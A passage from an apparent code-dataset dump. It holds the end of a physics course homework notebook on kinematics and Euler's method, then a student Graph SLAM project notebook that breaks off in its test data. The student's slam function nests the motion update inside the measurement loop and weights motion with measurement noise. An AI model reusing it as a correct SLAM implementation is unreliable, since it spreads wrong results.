code\n# (or set of codes) which will allow us to study different numerical\n# methods (integration and differential equations) as well as being able\n# to study different physical systems. Combined with analytical skills,\n# the hope is that this can allow us to explore interesting and\n# realistic physics problems. By doing so, the hope is that can lead to\n# deeper insights about the laws of motion which govern a system.\n# \n# And hopefully you can reuse many of the above solvers in other courses (our ideal).\n\n# ### Exercise 1 (20 pt), Electron moving into an electric field\n# \n# An electron is sent through a varying electrical\n# field. Initially, the electron is moving in the $x$-direction with a velocity\n# $v_x = 100$ m/s. The electron enters the field when it passes the origin. The field\n# varies with time, causing an acceleration of the electron that varies in time\n\n# $$\n# \\boldsymbol{a}(t)=\\left(\u221220 \\mathrm{m/s}^2 \u221210\\mathrm{m/s}^3t\\right) \\boldsymbol{e}_y\n# $$\n\n# * 1a (4pt) Find the velocity as a function of time for the electron.\n# \n# * 1b (4pt)  Find the position as a function of time for the electron.\n# \n# The field is only acting inside a box of length $L = 2m$.\n# * 1c (4pt)  How long time is the electron inside the field?\n# \n# * 1d (4pt)  What is the displacement in the $y$-direction when the electron leaves the box. (We call this the deflection of the electron).\n# \n# * 1e (4pt)  Find the angle the velocity vector forms with the horizontal axis as the electron leaves the box.\n\n# ### Exercise 2 (10 pt), Drag force\n# \n# Taylor exercise 2.3\n\n# ### Exercise 3 (10 pt), Falling object\n# \n# Taylor exercise 2.6\n\n# ### Exercise 4 (10 pt), and then a cyclist\n# \n# Taylor exercise 2.26\n\n# ### Exercise 5 (10 pt), back to a falling ball and preparing for the numerical exercise\n# \n# **Useful material: Malthe-S\u00f8renssen chapter 7.5 and Taylor chapter 2.4.**\n# \n# In this example we study the motion of an object subject to a constant force, a velocity dependent\n# force. We will  reuse the code we develop here in homework 4 for a position-dependent force.\n# \n# Here we limit ourselves to a ball that is thrown from a height $h$\n# above the ground with an initial velocity\n# $\\boldsymbol{v}_0$ at time $t=t_0$. We assume the air resistance is proportional  to the square velocity, Together with the gravitational force these are the forces acting on our system.\n# **Note that due to the specific velocity dependence, we cannot find an analytical solution for motion in the $x$ and $y$ directions, see the discussion in Taylor after eq. (2.61).**\n# In order to find an analytical solution we need to assume that the object is falling in the $y$-direction (negative direction) only. \n# \n# The position of the ball as function of time is  $\\boldsymbol{r}(t)$ where $t$ is time.\n#  The position is measured with respect to a coordinate system with origin at the floor.\n# \n# We assume we have an initial position $\\boldsymbol{r}(t_0)=h\\boldsymbol{e}_y$ and an initial velocity $\\boldsymbol{v}_0=v_{x,0}\\boldsymbol{e}_x+v_{y,0}\\boldsymbol{e}_y$.\n# \n# In this exercise we assume the system is influenced by the gravitational force\n\n# $$\n# \\boldsymbol{G}=-mg\\boldsymbol{e}_y\n# $$\n\n# and an air resistance given by a square law\n\n# $$\n# -Dv\\boldsymbol{v}.\n# $$\n\n# The analytical expressions for velocity and position as functions of\n# time will be used to compare with the numerical results in exercise 6.\n# \n# * 5a (3pt) Identify the forces acting on the ball and set up a diagram with the forces acting on the ball. Find the acceleration of the falling ball. \n# \n# * 5b (4pt) Assume now that the object is falling only in the $y$-direction (negative direction). Integrate the acceleration from an initial time $t_0$ to a final time $t$ and find the velocity. In Taylor equations (2.52) to (2.58) you will find a very good discussion of this.\n# \n# * 5c (4pt) Find thereafter the position as function of time starting with an initial time $t_0$. Find the time it takes to hit the floor.  Here you will find it convenient to set the initial velocity in the $y$-direction to zero. Taylor equations (2.52)-(2.58) should contain all relevant information for solving this part as well.\n# \n# We will use the above analytical results in our numerical calculations in exercise 6. The analytical solution in the $y$-direction only will serve as a test for our numerical solution.\n\n# ### Exercise 6 (40pt), Numerical elements, solving exercise 5 numerically\n# \n# **This exercise should be handed in as a jupyter-notebook** at D2L. Remember to write your name(s). \n# \n# Last week we:\n# 1. Gained more practice with plotting in Python\n# \n# 2. Became familiar with arrays and representing vectors with such objects\n# \n# This week we will:\n# 1. Learn and utilize Euler's Method to find the position and the velocity\n# \n# 2. Compare analytical and computational solutions \n# \n# 3. Add additional forces to our model\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# let's start by importing useful packages we are familiar with\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# We will choose the following values\n# 1. mass $m=0.2$ kg\n# \n# 2. accelleration (gravity) $g=9.81$ m/s$^{2}$.\n# \n# 3. initial position is the height $h=2$ m\n# \n# 4. initial velocities $v_{x,0}=v_{y,0}=10$ m/s\n# \n# Can you find a reasonable value for the drag coefficient $D$?\n# You need also to define an initial time and \n# the step size $\\Delta t$. We can define the step size $\\Delta t$ as the difference between any\n# two neighboring values in time (time steps) that we analyze within\n# some range. It can be determined by dividing the interval we are\n# analyzing, which in our case is time $t_{\\mathrm{final}}-t_0$, by the number of steps we\n# are taking $(N)$. This gives us a step size $\\Delta t = \\dfrac{t_{\\mathrm{final}}-t_0}{N}$.\n# \n# With these preliminaries we are now ready to plot our results from exercise 5.\n# \n# * 6a (10pt) Set up arrays for time, velocity, acceleration and positions for the results from exercise 5. Define an initial and final time. Choose the final time to be the time when the ball hits the ground for the first time. Make a plot of the position and velocity as functions of time.  Here you could set the initial velocity in the $y$-direction to zero and use the result from exercise 5. Else you need to try different initial times using the result from exercise 5 as a starting guess.  It is not critical if you don't reach the ground when the initial velocity in the $y$-direction is not zero.\n# \n# We move now to the numerical solution of the differential equations as discussed in the [lecture notes](https://mhjensen.github.io/Physics321/doc/pub/motion/html/motion.html) or Malthe-S\u00f8renssen chapter 7.5.\n# Let us remind ourselves about  Euler's Method.\n# \n# Suppose we know $f(t)$ and its derivative $f'(t)$. To find $f(t+\\Delta t)$ at the next step, $t+\\Delta t$,\n# we can consider the Taylor expansion:\n# \n# $f(t+\\Delta t) = f(t) + \\dfrac{(\\Delta t)f'(t)}{1!} + \\dfrac{(\\Delta t)^2f''(t)}{2!} + ...$\n# \n# If we ignore the $f''$ term and higher derivatives, we obtain\n# \n# $f(t+\\Delta t) \\approx f(t) + (\\Delta t)f'(t)$.\n# \n# This approximation is the basis of Euler's method, and the Taylor\n# expansion suggests that it will have errors of $O(\\Delta t^2)$.  Thus, one\n# would expect it to work better, the smaller the step size $h$ that you\n# use. In our case the step size is $\\Delta t$. \n# \n# In setting up our code we need to\n# \n# 1. Define and obtain all initial values, constants, and time to be analyzed with step sizes as done above (you can use the same values)\n# \n# 2. Calculate the velocity using $v_{i+1} = v_{i} + (\\Delta t)*a_{i}$\n# \n# 3. Calculate the position using $pos_{i+1} = r_{i} + (\\Delta t)*v_{i}$\n# \n# 4. Calculate the new acceleration $a_{i+1}$.\n# \n# 5. Repeat steps 2-4 for all time steps within a loop.\n# \n# * 6b (20 pt) Write a code which implements Euler's method and compute numerically and plot the position and velocity as functions of time for various values of $\\Delta t$. Comment your results.\n# \n# * 6c (10pt) Compare your numerically obtained positions and velocities with the analytical results from exercise 5. In order to do this, you need to take out the motion in the $x$-direction. Comment again your results.\n\n# ### Classical Mechanics Extra Credit Assignment: Scientific Writing and attending Talks\n# \n# The following gives you an opportunity to earn **five extra credit\n# points** on each of the remaining homeworks and **ten extra credit points**\n# on the midterms and finals.  This assignment also covers an aspect of\n# the scientific process that is not taught in most undergraduate\n# programs: scientific writing.  Writing scientific reports is how\n# scientist communicate their results to the rest of the field.  Knowing\n# how to assemble a well written scientific report will greatly benefit\n# you in you upper level classes, in graduate school, and in the work\n# place.\n# \n# The full information on extra credits is found at <https://github.com/mhjensen/Physics321/blob/master/doc/Homeworks/ExtraCredits/>. There you will also find examples on how to write a scientific article. \n# Below you can also find a description on how to gain extra credits by attending scientific talks.\n# \n# This assignment allows you to gain extra credit points by practicing\n# your scientific writing.  For each of the remaining homeworks you can\n# submit the specified section of a scientific report (written about the\n# numerical aspect of the homework) for five extra credit points on the\n# assignment.  For the two midterms and the final, submitting a full\n# scientific report covering the numerical analysis problem will be\n# worth ten extra points.  For credit the grader must be able to tell\n# that you put effort into the assignment (i.e. well written, well\n# formatted, etc.).  If you are unfamiliar with writing scientific\n# reports, [see the information here](https://github.com/mhjensen/Physics321/blob/master/doc/Homeworks/ExtraCredits/IntroductionScientificWriting.md)\n# \n# The following table explains what aspect of a scientific report is due\n# with which homework.  You can submit the assignment in any format you\n# like, in the same document as your homework, or in a different one.\n# Remember to cite any external references you use and include a\n# reference list.  There are no length requirements, but make sure what\n# you turn in is complete and through.  If you have any questions,\n# please contact Julie Butler at butler@frib.msu.edu.\n# \n# <table class=\"dotable\" border=\"1\">\n# <thead>\n# <tr><th align=\"center\">  HW/Project </th> <th align=\"center\">Due Date</th> <th align=\"center\">Extra Credit Assignment</th> </tr>\n# </thead>\n# <tbody>\n# <tr><td align=\"center\">   HW 3             </td> <td align=\"center\">   2-4         </td> <td align=\"center\">   Abstract                   </td> </tr>\n# <tr><td align=\"center\">   HW 4             </td> <td align=\"center\">   2-11        </td> <td align=\"center\">   Introduction               </td> </tr>\n# <tr><td align=\"center\">   HW 5             </td> <td align=\"center\">   2-18        </td> <td align=\"center\">   Methods                    </td> </tr>\n# <tr><td align=\"center\">   HW 6             </td> <td align=\"center\">   3-18        </td> <td align=\"center\">   Results and Discussion     </td> </tr>\n# <tr><td align=\"center\">   **Midterm 1**    </td> <td align=\"center\">   **3-4**     </td> <td align=\"center\">   *Full Written Report*      </td> </tr>\n# <tr><td align=\"center\">   HW 7             </td> <td align=\"center\">   3-25        </td> <td align=\"center\">   Abstract                   </td> </tr>\n# <tr><td align=\"center\">   HW 8             </td> <td align=\"center\">   4-15        </td> <td align=\"center\">   Introduction               </td> </tr>\n# <tr><td align=\"center\">   HW 9             </td> <td align=\"center\">   4-22        </td> <td align=\"center\">   Results and Discussion     </td> </tr>\n# <tr><td align=\"center\">   **Midterm 2      </td> <td align=\"center\">   ** _4-8_    </td> <td align=\"center\">   *Full Written Report*      </td> </tr>\n# <tr><td align=\"center\">   HW 10            </td> <td align=\"center\">   4-29        </td> <td align=\"center\">   Abstract                   </td> </tr>\n# <tr><td align=\"center\">   **Final**        </td> <td align=\"center\">   **5-6**     </td> <td align=\"center\">   *Full Written Report*      </td> </tr>\n# </tbody>\n# </table>\n# \n# You can also gain extra credits if you attend scientific talks.\n# This is described here.\n\n# ### Integrating Classwork With Research\n# \n# This opportunity will allow you to earn up to 5 extra credit points on a Homework per week. These points can push you above 100% or help make up for missed exercises.\n# In order to earn all points you must:\n# \n# 1. Attend an MSU research talk (recommended research oriented Clubs is  provided below)\n# \n# 2. Summarize the talk using at least 150 words\n# \n# 3. Turn in the summary along with your Homework.\n# \n# Approved talks:\n# Talks given by researchers through the following clubs:\n# * Research and Idea Sharing Enterprise (RAISE)\u200b: Meets Wednesday Nights Society for Physics Students (SPS)\u200b: Meets Monday Nights\n# \n# * Astronomy Club\u200b: Meets Monday Nights\n# \n# * Facility For Rare Isotope Beam (FRIB) Seminars: \u200bOccur multiple times a week\n# \n# If you have any questions please consult Julie or Morten\n# \n# All the material on extra credits is at <https://github.com/mhjensen/Physics321/blob/master/doc/Homeworks/ExtraCredits/>.\n", "meta": {"hexsha": "a6172887ca3a4226c8544e48916d2c076d31d6e5", "size": 16833, "ext": "py", "lang": "Python", "max_stars_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw3.py", "max_stars_repo_name": "Shield94/Physics321", "max_stars_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw3.py", "max_issues_repo_name": "Shield94/Physics321", "max_issues_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw3.py", "max_forks_repo_name": "Shield94/Physics321", "max_forks_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 55.3717105263, "max_line_length": 606, "alphanum_fraction": 0.7140141389, "include": true, "reason": "import numpy", "num_tokens": 4447, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34864513533394575, "lm_q2_score": 0.16026603032235004, "lm_q1q2_score": 0.055875971831169984}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Project 3:  Implement SLAM \n# \n# ---\n# \n# ## Project Overview\n# \n# In this project, you'll implement SLAM for robot that moves and senses in a 2 dimensional, grid world!\n# \n# SLAM gives us a way to both localize a robot and build up a map of its environment as a robot moves and senses in real-time. This is an active area of research in the fields of robotics and autonomous systems. Since this localization and map-building relies on the visual sensing of landmarks, this is a computer vision problem. \n# \n# Using what you've learned about robot motion, representations of uncertainty in motion and sensing, and localization techniques, you will be tasked with defining a function, `slam`, which takes in six parameters as input and returns the vector `mu`. \n# > `mu` contains the (x,y) coordinate locations of the robot as it moves, and the positions of landmarks that it senses in the world\n# \n# You can implement helper functions as you see fit, but your function must return `mu`. The vector, `mu`, should have (x, y) coordinates interlaced, for example, if there were 2 poses and 2 landmarks, `mu` will look like the following, where `P` is the robot position and `L` the landmark position:\n# ```\n# mu =  matrix([[Px0],\n#               [Py0],\n#               [Px1],\n#               [Py1],\n#               [Lx0],\n#               [Ly0],\n#               [Lx1],\n#               [Ly1]])\n# ```\n# \n# You can see that `mu` holds the poses first `(x0, y0), (x1, y1), ...,` then the landmark locations at the end of the matrix; we consider a `nx1` matrix to be a vector.\n# \n# ## Generating an environment\n# \n# In a real SLAM problem, you may be given a map that contains information about landmark locations, and in this example, we will make our own data using the `make_data` function, which generates a world grid with landmarks in it and then generates data by placing a robot in that world and moving and sensing over some numer of time steps. The `make_data` function relies on a correct implementation of robot move/sense functions, which, at this point, should be complete and in the `robot_class.py` file. The data is collected as an instantiated robot moves and senses in a world. Your SLAM function will take in this data as input. So, let's first create this data and explore how it represents the movement and sensor measurements that our robot takes.\n# \n# ---\n\n# ## Create the world\n# \n# Use the code below to generate a world of a specified size with randomly generated landmark locations. You can change these parameters and see how your implementation of SLAM responds! \n# \n# `data` holds the sensors measurements and motion of your robot over time. It stores the measurements as `data[i][0]` and the motion as `data[i][1]`.\n# \n# #### Helper functions\n# \n# You will be working with the `robot` class that may look familiar from the first notebook, \n# \n# In fact, in the `helpers.py` file, you can read the details of how data is made with the `make_data` function. It should look very similar to the robot move/sense cycle you've seen in the first notebook.\n\n# In[ ]:\n\n\nimport numpy as np\nfrom helpers import make_data\n\n# your implementation of slam should work with the following inputs\n# feel free to change these input values and see how it responds!\n\n# world parameters\nnum_landmarks      = 5        # number of landmarks\nN                  = 40       # time steps\n# N                  = 2       # time steps\n# world_size         = 100.0    # size of world (square)\nworld_size         = 100.0    # size of world (square)\n\n# robot parameters\n# measurement_range  = 50.0     # range at which we can sense landmarks\nmeasurement_range  = 50.0     # range at which we can sense landmarks\n\nmotion_noise       = 2.0      # noise in robot motion\nmeasurement_noise  = 2.0      # noise in the measurements\n# distance           = 20.0     # distance by which robot (intends to) move each iteratation \ndistance           = 20.0     # distance by which robot (intends to) move each iteratation\n\n\n\n# make_data instantiates a robot, AND generates random landmarks for a given world size and number of landmarks\ndata = make_data(N, num_landmarks, world_size, measurement_range, motion_noise, measurement_noise, distance)\n\n\n# ### A note on `make_data`\n# \n# The function above, `make_data`, takes in so many world and robot motion/sensor parameters because it is responsible for:\n# 1. Instantiating a robot (using the robot class)\n# 2. Creating a grid world with landmarks in it\n# \n# **This function also prints out the true location of landmarks and the *final* robot location, which you should refer back to when you test your implementation of SLAM.**\n# \n# The `data` this returns is an array that holds information about **robot sensor measurements** and **robot motion** `(dx, dy)` that is collected over a number of time steps, `N`. You will have to use *only* these readings about motion and measurements to track a robot over time and find the determine the location of the landmarks using SLAM. We only print out the true landmark locations for comparison, later.\n# \n# \n# In `data` the measurement and motion data can be accessed from the first and second index in the columns of the data array. See the following code for an example, where `i` is the time step:\n# ```\n# measurement = data[i][0]\n# motion = data[i][1]\n# ```\n# \n\n# In[ ]:\n\n\n# print out some stats about the data\ntime_step = 0\n\nprint('Example measurements: \\n', data[time_step][0])\nprint('\\n')\nprint('Example motion: \\n', data[time_step][1])\n\n\n# Try changing the value of `time_step`, you should see that the list of measurements varies based on what in the world the robot sees after it moves. As you know from the first notebook, the robot can only sense so far and with a certain amount of accuracy in the measure of distance between its location and the location of landmarks. The motion of the robot always is a vector with two values: one for x and one for y displacement. This structure will be useful to keep in mind as you traverse this data in your implementation of slam.\n\n# ## Initialize Constraints\n# \n# One of the most challenging tasks here will be to create and modify the constraint matrix and vector: omega and xi. In the second notebook, you saw an example of how omega and xi could hold all the values the define the relationships between robot poses `xi` and landmark positions `Li` in a 1D world, as seen below, where omega is the blue matrix and xi is the pink vector.\n# \n# <img src='images/motion_constraint.png' width=50% height=50% />\n# \n# \n# In *this* project, you are tasked with implementing constraints for a 2D world. We are referring to robot poses as `Px, Py` and landmark positions as `Lx, Ly`, and one way to approach this challenge is to add *both* x and y locations in the constraint matrices.\n# \n# <img src='images/constraints2D.png' width=50% height=50% />\n# \n# You may also choose to create two of each omega and xi (one for x and one for y positions).\n\n# ### TODO: Write a function that initializes omega and xi\n# \n# Complete the function `initialize_constraints` so that it returns `omega` and `xi` constraints for the starting position of the robot. Any values that we do not yet know should be initialized with the value `0`. You may assume that our robot starts out in exactly the middle of the world with 100% confidence (no motion or measurement noise at this point). The inputs `N` time steps, `num_landmarks`, and `world_size` should give you all the information you need to construct intial constraints of the correct size and starting values.\n# \n# *Depending on your approach you may choose to return one omega and one xi that hold all (x,y) positions *or* two of each (one for x values and one for y); choose whichever makes most sense to you!*\n\n# In[ ]:\n\n\ndef initialize_constraints(N, num_landmarks, world_size):\n    ''' This function takes in a number of time steps N, number of landmarks, and a world_size,\n        and returns initialized constraint matrices, omega and xi.'''\n    \n    ## Recommended: Define and store the size (rows/cols) of the constraint matrix in a variable\n    size = 2 * N + 2 * num_landmarks\n\n    ## TODO: Define the constraint matrix, Omega, with two initial \"strength\" values\n    ## for the initial x, y location of our robot\n    omega = np.zeros((size, size))\n    omega[0][0] = 1.0\n    omega[1][1] = 1.0\n    \n    ## TODO: Define the constraint *vector*, xi\n    ## you can assume that the robot starts out in the middle of the world with 100% confidence\n    xi = np.zeros((size, 1))\n    xi[0][0] = world_size/2\n    xi[1][0] = world_size/2\n    \n    return omega, xi\n\n\n# ### Test as you go\n# \n# It's good practice to test out your code, as you go. Since `slam` relies on creating and updating constraint matrices, `omega` and `xi` to account for robot sensor measurements and motion, let's check that they initialize as expected for any given parameters.\n# \n# Below, you'll find some test code that allows you to visualize the results of your function `initialize_constraints`. We are using the [seaborn](https://seaborn.pydata.org/) library for visualization.\n# \n# **Please change the test values of N, landmarks, and world_size and see the results**. Be careful not to use these values as input into your final smal function.\n# \n# This code assumes that you have created one of each constraint: `omega` and `xi`, but you can change and add to this code, accordingly. The constraints should vary in size with the number of time steps and landmarks as these values affect the number of poses a robot will take `(Px0,Py0,...Pxn,Pyn)` and landmark locations `(Lx0,Ly0,...Lxn,Lyn)` whose relationships should be tracked in the constraint matrices. Recall that `omega` holds the weights of each variable and `xi` holds the value of the sum of these variables, as seen in Notebook 2. You'll need the `world_size` to determine the starting pose of the robot in the world and fill in the initial values for `xi`.\n\n# In[ ]:\n\n\n# import data viz resources\nimport matplotlib.pyplot as plt\nfrom pandas import DataFrame\nimport seaborn as sns\n# get_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[ ]:\n\n\n# define a small N and world_size (small for ease of visualization)\nN_test = 5\nnum_landmarks_test = 2\nsmall_world = 10\n\n# initialize the constraints\ninitial_omega, initial_xi = initialize_constraints(N_test, num_landmarks_test, small_world)\n\n\n# In[ ]:\n\n\n# define figure size\nplt.rcParams[\"figure.figsize\"] = (10,7)\n\n# display omega\nsns.heatmap(DataFrame(initial_omega), cmap='Blues', annot=True, linewidths=.5)\n\n\n# In[ ]:\n\n\n# define  figure size\nplt.rcParams[\"figure.figsize\"] = (1,7)\n\n# display xi\nsns.heatmap(DataFrame(initial_xi), cmap='Oranges', annot=True, linewidths=.5)\n\n\n# ---\n# ## SLAM inputs \n# \n# In addition to `data`, your slam function will also take in:\n# * N -   The number of time steps that a robot will be moving and sensing\n# * num_landmarks - The number of landmarks in the world\n# * world_size - The size (w/h) of your world\n# * motion_noise - The noise associated with motion; the update confidence for motion should be `1.0/motion_noise`\n# * measurement_noise - The noise associated with measurement/sensing; the update weight for measurement should be `1.0/measurement_noise`\n# \n# #### A note on noise\n# \n# Recall that `omega` holds the relative \"strengths\" or weights for each position variable, and you can update these weights by accessing the correct index in omega `omega[row][col]` and *adding/subtracting* `1.0/noise` where `noise` is measurement or motion noise. `Xi` holds actual position values, and so to update `xi` you'll do a similar addition process only using the actual value of a motion or measurement. So for a vector index `xi[row][0]` you will end up adding/subtracting one measurement or motion divided by their respective `noise`.\n# \n# ### TODO: Implement Graph SLAM\n# \n# Follow the TODO's below to help you complete this slam implementation (these TODO's are in the recommended order), then test out your implementation! \n# \n# #### Updating with motion and measurements\n# \n# With a 2D omega and xi structure as shown above (in earlier cells), you'll have to be mindful about how you update the values in these constraint matrices to account for motion and measurement constraints in the x and y directions. Recall that the solution to these matrices (which holds all values for robot poses `P` and landmark locations `L`) is the vector, `mu`, which can be computed at the end of the construction of omega and xi as the inverse of omega times xi: $\\mu = \\Omega^{-1}\\xi$\n# \n# **You may also choose to return the values of `omega` and `xi` if you want to visualize their final state!**\n\n# In[ ]:\n\n\n## TODO: Complete the code to implement SLAM\n\n## slam takes in 6 arguments and returns mu, \n## mu is the entire path traversed by a robot (all x,y poses) *and* all landmarks locations\ndef slam(data, N, num_landmarks, world_size, motion_noise, measurement_noise):\n    \n    ## TODO: Use your initilization to create constraint matrices, omega and xi\n    omega, xi = initialize_constraints(N, num_landmarks, world_size)\n\n    ## TODO: Iterate through each time step in the data\n    ## get all the motion and measurement data as you iterate\n    for time_step in range(N-1):\n        ## TODO: update the constraint matrix/vector to account for all *measurements*\n        ## this should be a series of additions that take into account the measurement noise\n        measurements = data[time_step][0]\n        for L_mesurement in measurements:\n            L_index, measurement_x, measurement_y = L_mesurement\n\n            omega[2 * time_step][2 * time_step] += 1 / measurement_noise\n            omega[2 * time_step][2 * (N + L_index)] += -1 / measurement_noise\n            omega[2 * (N + L_index)][2 * time_step] += -1 / measurement_noise\n            omega[2 * (N + L_index)][2 * (N + L_index)] += 1 / measurement_noise\n\n            omega[2 * time_step + 1][2 * time_step + 1] += 1 / measurement_noise\n            omega[2 * time_step + 1][2 * (N + L_index) + 1] += -1 / measurement_noise\n            omega[2 * (N + L_index) + 1][2 * time_step + 1] += -1 / measurement_noise\n            omega[2 * (N + L_index) + 1][2 * (N + L_index) + 1] += 1 / measurement_noise\n\n            xi[2 * time_step] += -measurement_x / measurement_noise\n            xi[2 * (N + L_index)] += measurement_x / measurement_noise\n\n            xi[2 * time_step + 1] += -measurement_y / measurement_noise\n            xi[2 * (N + L_index) + 1] += measurement_y / measurement_noise\n\n            ## TODO: update the constraint matrix/vector to account for all *motion* and motion noise\n            dx, dy = data[time_step][1]\n\n            # update omega matrix for x\n            omega[2 * time_step][2 * time_step] += 1 / measurement_noise\n            omega[2 * time_step][2 * (time_step + 1)] += -1 / measurement_noise\n            omega[2 * (time_step + 1)][2 * time_step] += -1 / measurement_noise\n            omega[2 * (time_step + 1)][2 * (time_step + 1)] += 1 / measurement_noise\n\n            # update omega matrix for y\n            omega[2 * time_step + 1][2 * time_step + 1] += 1 / measurement_noise\n            omega[2 * time_step + 1][2 * time_step + 3] += -1 / measurement_noise\n            omega[2 * time_step + 3][2 * time_step + 1] += -1 / measurement_noise\n            omega[2 * time_step + 3][2 * time_step + 3] += 1 / measurement_noise\n\n            # update xi\n            xi[2 * time_step] += -dx / motion_noise\n            xi[2 * (time_step + 1)] += dx / motion_noise\n            xi[2 * time_step + 1] += -dy / motion_noise\n            xi[2 * time_step + 3] += dy / motion_noise\n    ## TODO: After iterating through all the data\n    ## Compute the best estimate of poses and landmark positions\n    ## using the formula, omega_inverse * Xi\n    omega_inv = np.linalg.inv(np.matrix(omega))\n    mu = omega_inv * xi\n\n    return mu\n\n\n# ## Helper functions\n# \n# To check that your implementation of SLAM works for various inputs, we have provided two helper functions that will help display the estimated pose and landmark locations that your function has produced. First, given a result `mu` and number of time steps, `N`, we define a function that extracts the poses and landmarks locations and returns those as their own, separate lists. \n# \n# Then, we define a function that nicely print out these lists; both of these we will call, in the next step.\n# \n\n# In[ ]:\n\n\n# a helper function that creates a list of poses and of landmarks for ease of printing\n# this only works for the suggested constraint architecture of interlaced x,y poses\ndef get_poses_landmarks(mu, N):\n    # create a list of poses\n    poses = []\n    for i in range(N):\n        poses.append((mu[2*i].item(), mu[2*i+1].item()))\n\n    # create a list of landmarks\n    landmarks = []\n    for i in range(num_landmarks):\n        landmarks.append((mu[2*(N+i)].item(), mu[2*(N+i)+1].item()))\n\n    # return completed lists\n    return poses, landmarks\n\n\n# In[ ]:\n\n\ndef print_all(poses, landmarks):\n    print('\\n')\n    print('Estimated Poses:')\n    for i in range(len(poses)):\n        print('['+', '.join('%.3f'%p for p in poses[i])+']')\n    print('\\n')\n    print('Estimated Landmarks:')\n    for i in range(len(landmarks)):\n        print('['+', '.join('%.3f'%l for l in landmarks[i])+']')\n\n\n# ## Run SLAM\n# \n# Once you've completed your implementation of `slam`, see what `mu` it returns for different world sizes and different landmarks!\n# \n# ### What to Expect\n# \n# The `data` that is generated is random, but you did specify the number, `N`, or time steps that the robot was expected to move and the `num_landmarks` in the world (which your implementation of `slam` should see and estimate a position for. Your robot should also start with an estimated pose in the very center of your square world, whose size is defined by `world_size`.\n# \n# With these values in mind, you should expect to see a result that displays two lists:\n# 1. **Estimated poses**, a list of (x, y) pairs that is exactly `N` in length since this is how many motions your robot has taken. The very first pose should be the center of your world, i.e. `[50.000, 50.000]` for a world that is 100.0 in square size.\n# 2. **Estimated landmarks**, a list of landmark positions (x, y) that is exactly `num_landmarks` in length. \n# \n# #### Landmark Locations\n# \n# If you refer back to the printout of *exact* landmark locations when this data was created, you should see values that are very similar to those coordinates, but not quite (since `slam` must account for noise in motion and measurement).\n\n# In[ ]:\n\n\n# call your implementation of slam, passing in the necessary parameters\nmu = slam(data, N, num_landmarks, world_size, motion_noise, measurement_noise)\n\n# print out the resulting landmarks and poses\nif(mu is not None):\n    # get the lists of poses and landmarks\n    # and print them out\n    poses, landmarks = get_poses_landmarks(mu, N)\n    print_all(poses, landmarks)\n\n\n# ## Visualize the constructed world\n# \n# Finally, using the `display_world` code from the `helpers.py` file (which was also used in the first notebook), we can actually visualize what you have coded with `slam`: the final position of the robot and the positon of landmarks, created from only motion and measurement data!\n# \n# **Note that these should be very similar to the printed *true* landmark locations and final pose from our call to `make_data` early in this notebook.**\n\n# In[ ]:\n\n\n# import the helper function\nfrom helpers import display_world\n\n# Display the final world!\n\n# define figure size\nplt.rcParams[\"figure.figsize\"] = (20,20)\n\n# check if poses has been created\nif 'poses' in locals():\n    # print out the last pose\n    print('Last pose: ', poses[-1])\n    # display the last position of the robot *and* the landmark positions\n    display_world(int(world_size), poses[-1], landmarks)\n\n\n# ### Question: How far away is your final pose (as estimated by `slam`) compared to the *true* final pose? Why do you think these poses are different?\n# \n# You can find the true value of the final pose in one of the first cells where `make_data` was called. You may also want to look at the true landmark locations and compare them to those that were estimated by `slam`. Ask yourself: what do you think would happen if we moved and sensed more (increased N)? Or if we had lower/higher noise parameters.\n\n# **Answer**: (Write your answer here.)\n\n# ## Testing\n# \n# To confirm that your slam code works before submitting your project, it is suggested that you run it on some test data and cases. A few such cases have been provided for you, in the cells below. When you are ready, uncomment the test cases in the next cells (there are two test cases, total); your output should be **close-to or exactly** identical to the given results. If there are minor discrepancies it could be a matter of floating point accuracy or in the calculation of the inverse matrix.\n# \n# ### Submit your project\n# \n# If you pass these tests, it is a good indication that your project will pass all the specifications in the project rubric. Follow the submission instructions to officially submit!\n\n# In[ ]:\n\n\n# Here is the data and estimated outputs for test case 1\n\ntest_data1 = [[[[1, 19.457599255548065, 23.8387362100849], [2, -13.195807561967236, 11.708840328458608], [3, -30.0954905279171, 15.387879242505843]], [-12.2607279422326, -15.801093326936487]], [[[2, -0.4659930049620491, 28.088559771215664], [4, -17.866382374890936, -16.384904503932]], [-12.2607279422326, -15.801093326936487]], [[[4, -6.202512900833806, -1.823403210274639]], [-12.2607279422326, -15.801093326936487]], [[[4, 7.412136480918645, 15.388585962142429]], [14.008259661173426, 14.274756084260822]], [[[4, -7.526138813444998, -0.4563942429717849]], [14.008259661173426, 14.274756084260822]], [[[2, -6.299793150150058, 29.047830407717623], [4, -21.93551130411791, -13.21956810989039]], [14.008259661173426, 14.274756084260822]], [[[1, 15.796300959032276, 30.65769689694247], [2, -18.64370821983482, 17.380022987031367]], [14.008259661173426, 14.274756084260822]], [[[1, 0.40311325410337906, 14.169429532679855], [2, -35.069349468466235, 2.4945558982439957]], [14.008259661173426, 14.274756084260822]], [[[1, -16.71340983241936, -2.777000269543834]], [-11.006096015782283, 16.699276945166858]], [[[1, -3.611096830835776, -17.954019226763958]], [-19.693482634035977, 3.488085684573048]], [[[1, 18.398273354362416, -22.705102332550947]], [-19.693482634035977, 3.488085684573048]], [[[2, 2.789312482883833, -39.73720193121324]], [12.849049222879723, -15.326510824972983]], [[[1, 21.26897046581808, -10.121029799040915], [2, -11.917698965880655, 